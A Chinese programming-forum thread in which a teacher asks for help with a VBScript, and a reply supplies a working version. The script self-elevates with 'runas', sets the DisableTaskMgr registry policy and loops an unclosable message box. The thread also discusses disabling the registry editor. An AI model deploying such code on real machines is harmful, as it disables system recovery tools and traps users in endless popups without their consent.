找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
技术宅的结界 门户 查看主题

VBS修改注册表提示根路径无效(找到该路径复制粘贴过去的)

发布者: taoguiyao | 发布时间: 2024-11-16 14:05| 查看数: 241| 评论数: 7|帖子模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有账号?立即注册→加入我们

×
如题怎么办,网上搜了一圈方法,复制粘贴,管理员权限,关掉杀毒软件,重启,全部都是试过了,还是搞不定,有没有哪个大神能伸出援助之手。
美好的周六全都搞这个了,起因是一个对编程很感兴趣的孩子问我怎么做出可以不被任务管理器干掉的弹窗。。。为了维护形象我得弄出来,找到的思路简单思路就是脚本禁用任务管理器,死在了这一步。

Dim OperationRegistry
Set OperationRegistry=WScript.CreateObject("WScript.Shell")
OperationRegistry.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
do
msgbox "666",4096
loop

想死呜呜呜,难得碰到一个这么好学的孩子,我却无能为力。


2.png

最新评论

cureSky 发表于 2024-11-16 18:14:14
Dim OperationRegistry
If Not WScript.Arguments.Named.Exists("elevated") Then
    Set objShell = CreateObject("Shell.Application")
    objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " /elevated", "", "runas", 1
    WScript.Quit
End If


Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", 0, True

do
msgbox "666",4096
loop

已解决
cureSky 发表于 2024-11-16 18:18:58
cureSky 发表于 2024-11-16 18:14
Dim OperationRegistry
If Not WScript.Arguments.Named.Exists("elevated") Then
    Set objShell = Crea ...

lz的问题貌似是因为windows系统版本的原因,我在我的windows家庭版的注册表中没有找到Policies中没有找到后续的 System\DisableTaskMgr的选项
于是便去调查查到了一篇文章
标题为 how-to-disable-task-manager-in-windows(没有权限发表url只能奉上标题了)
这里给了四种方法
经过实验cmd的方法可用,然后赋予管理员权限后脚本就可执行了
希望能帮到lz和那位爱学的孩子
taoguiyao 发表于 2024-11-16 20:36:31
cureSky 发表于 2024-11-16 18:14
Dim OperationRegistry
If Not WScript.Arguments.Named.Exists("elevated") Then
    Set objShell = Crea ...

谢谢大神,居然真的有用!!!太感谢了!然后这段代码目前没看懂,我得接着研究看看,请问一下能否跟那个孩子说思路就是用脚本禁用任务管理器,但由于系统版本原因,所以写的是上述代码。
问题二,搜的帖子里进阶版本是还能禁用注册表,这应该是可行的吧。
很抱歉在这里问这么简单的问题,本人职业应该能看出来了,第一次碰到自己感兴趣不说还能钻研并且领悟能力很强的孩子,看到大神的回复之后决定装不了的比不装了,老实承认代码不是自己写得,碰到天赋型孩子至少能给思路上的引导以及带着孩子善用互联网上少走点弯路。
taoguiyao 发表于 2024-11-16 20:39:22
cureSky 发表于 2024-11-16 18:18
lz的问题貌似是因为windows系统版本的原因,我在我的windows家庭版的注册表中没有找到Policies中没有找到 ...

能用截图或者其他方式看看链接吗,没有搜索出来。另外确实是没有在注册表中的Policies里找到后续,我手动添加了,后来看到说regwrite也可以新建就觉得这不是个问题了。
再提一次,非常感谢!
cureSky 发表于 2024-11-17 11:55:22
((꜆꜄꜆ ˙꒳˙)꜆꜄꜆ 能帮到你就好,url如图
微信图片_20241117115523.png
cureSky 发表于 2024-11-17 12:05:39
问题一:这样说没什么问题,因为家庭版的关系例如策略管理器等一些功能是用不了的。
问题二:禁用注册表是否可以要看系统版本吧,确定注册表在当前系统版本是否存在,因为不存在就不能用修改值禁用的思路,就要手动添加创建了。
taoguiyao 发表于 2024-11-17 18:39:41
cureSky 发表于 2024-11-17 12:05
问题一:这样说没什么问题,因为家庭版的关系例如策略管理器等一些功能是用不了的。
问题二:禁用注册表是 ...

谢谢谢谢,学习到了~

QQ|Archiver|小黑屋|技术宅的结界 ( 滇ICP备16008837号 )|网站地图

GMT+8, 2024-12-22 00:14 , Processed in 0.039366 second(s), 27 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表